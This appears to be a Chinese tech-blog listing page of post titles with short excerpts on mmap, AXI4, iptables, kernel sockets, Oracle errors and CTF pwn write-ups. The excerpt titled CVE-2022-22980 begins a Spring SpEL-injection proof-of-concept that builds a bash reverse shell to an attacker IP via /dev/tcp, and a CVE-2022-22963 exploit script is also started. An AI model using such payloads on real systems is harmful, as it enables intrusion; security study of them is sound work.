• 2024-07-0906 运行Lib-OS
    QEMU运行第一章代码切换分支gitcheckoutch1detailgitcheckoutch1命令是用来切换到名为ch1的分支或者恢复工作目录中的文件到ch1提交的状态运行代码cdosLOG=TRACEmakerundetailLOG=TRACE 是指定LOG的级别为 TRACE,可以查看重要程度不低于TRACE的输出日
  • 2024-07-05内存映射
    mmap内存映射函数(显示图片的新方法)----也是Linux系统IO中的函数之一基本概念系统IO函数的共同点:就是他们的形参中一定有一个是文件描述符(除open)。内存映射的意思:拆内存:普通运存,显存(集显和独显),是一块内存空间,存放显示画面的像素点。映射:两个集合中的元素,都具有
  • 2024-07-03【总线】AXI4第七课时:AXI的额外的控制信息(PROT和CACHE)
             大家好,欢迎来到今天的总线学习时间!如果你对电子设计、特别是FPGA和SoC设计感兴趣,那你绝对不能错过我们今天的主角——AXI4总线。作为ARM公司AMBA总线家族中的佼佼者,AXI4以其高性能和高度可扩展性,成为了现代电子系统中不可或缺的通信桥梁。    上
  • 2024-04-13做re不小心噶了然后转生成为pwn高手
    ret2text一个简单的栈溢出栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者
  • 2024-04-02CTFshow pwn49 wp
    PWN49用ida打开我们发现是静态编译的,所以先要通过libc库来打是不可能的了,程序里面有一个栈溢出点,找一下有没有system函数,发现并没有那么我们找一下有没有mprotect函数如果有这个那么我们可以把一段地址改成可读可写可执行权限,然后写入我们的shellcode就可以执行了,发现确实有这
  • 2023-10-25Java服务总在半夜挂,背后的真相竟然是...
    写在前面最近有用户反馈测试环境Java服务总在凌晨00:00左右挂掉,用户反馈Java服务没有定时任务,也没有流量突增的情况,Jvm配置也合理,莫名其妙就挂了问题排查问题复现为了复现该问题,写了个springboot的demo部署在测试环境,其中demo里只做了helloworld功能,应用类型为web_tomcat(war
  • 2023-10-17记一次MySQL5初始化被kill的问题排查
    写在前面由于测试环境JED申请比较繁琐,所以Eone提供了单机版Mysql供用户使用,近期Eone搭建Mysql5的时候发现莫名被kill了,容器规格是4C8G,磁盘30G这不科学,之前都是可以的,镜像没变,配置没变,咋就不行了呢,一定不是我的问题,是机器的问题问题排查重现通过多次搭建mysql5进行采样,发现并
  • 2023-09-14iptables 端口转发设置
    一、iptables命令查看当前iptables的nat表内的规则-tnat指定看nat表,不用-t默认为filter表-L列出表内所有规则,可以指定特定链-n使输出中的IP地址和端口以数值的形式显示-v输出详细化--line显示出每条规则在相应链中的序号[root@localiphlcc_v11.1104_centos7]#iptab
  • 2023-07-15linux 中blast序列比对
     001、对数据库构建索引makeblastdb-inprotein.faa-dbtypeprot-parse_seqids-outdatabase_name-logfilelog makeblastdb:构建索引的软件-in protein.faa:要构建索引的数据库(这里是拟南芥的蛋白质序列)-dbtype:指定数据类型,prot为蛋白质、nucl为核酸;这里是蛋
  • 2023-06-01Linux创建socket
    staticconststructnet_proto_familyinet_family_ops={.family=PF_INET,.create=inet_create,.owner=THIS_MODULE,};/**Createaninetsocket.*/staticintinet_create(structnet*net,structsocket*sock,intprotocol,intkern)
  • 2023-06-01raw_prot
    {.type=SOCK_RAW,.protocol=IPPROTO_IP,/*wildcard*/.prot=&raw_prot,.ops=&inet_sockraw_ops,.flags=INET_PROTOSW_REUSE,}structprotoraw_prot={.name
  • 2023-05-23CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s
  • 2023-05-23CVE-2022-22963
    #SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla
  • 2023-05-17Linux多进程11-内存映射
    内存映射(Memory-mappedI/O)是将磁盘文件的数据映射到内存,用户通过修改内存就能修改磁盘文件。mmap#include<sys/mman.h>void*mmap(void*addr,size_tlength,intprot,intflags,intfd,off_toffset);功能:将一个文件或者设备的数据映射到内存中参数:
  • 2023-03-2614 mmap
    代码编程指南确定物理地址确定是否使用cache、buffer建立映射关系1引入应用程序与驱动程序之间进行数据传递时常使用read,write此实现方法本质上是在用户态的buff
  • 2023-03-01内存映射
    介绍#include<sys/mman.h>void*mmap(void*addr,size_tlength,intprot,intflags,intfd,off_toffset);功能:将文件映射到内存中参数:addr:允许
  • 2023-02-08虚拟内存跟物理内存之间的映射mmap\munmap
    #include<stdio.h>#include<sys/mman.h>intmain(void){/**创建虚拟内存的映射*void*mmap(void*__addr,size_t__len,int__prot,int__fla
  • 2023-01-31Unicorn备忘录
    摘自https://bbs.kanxue.com/thread-224330.htm#msg_header_h3_7_,个人存档用fromunicornimport*-加载Unicorn库。包含一些函数和基本的常量。fromunicorn.x86_cons
  • 2022-12-07私有继承和保护继承的访问规则是什么?c++
    以这些类为例:classB{/*...*/};classD_priv:privateB{/*...*/};classD_prot:protectedB{/*...*/};classD_publ:public
  • 2022-11-05添加磁盘组存储ocrbk报错PROT-30、PROC-50
    问题描述:添加磁盘组存储ocrbk报错PROT-30、PROC-50,如下所示:数据库:oracle11.2.0.464位系统:centos7.964位环境:rac(双节点)+dg异常现象:[root@hisdb1bin]#pwd/u01/app/1
  • 2022-09-29Linux系统strac命令
    strace:监控程序的执行状况在linux空间下,运行一个程序时,操作系统会将应用程序封装一个进程的形式,参与操作系统的调度,可以使用strace跟踪程序运行的情况。 基本功能
  • 2022-09-05服务器入侵之找出隐藏字符的原理
    目录一、文章起源二、细讲问题2.1、文件在不同环境下的不同编译器打开的显示情况三、借助场外资源3.1、双向文本(Bidirectionaltex)3.2、看看^M3.3、真相大白四、注意一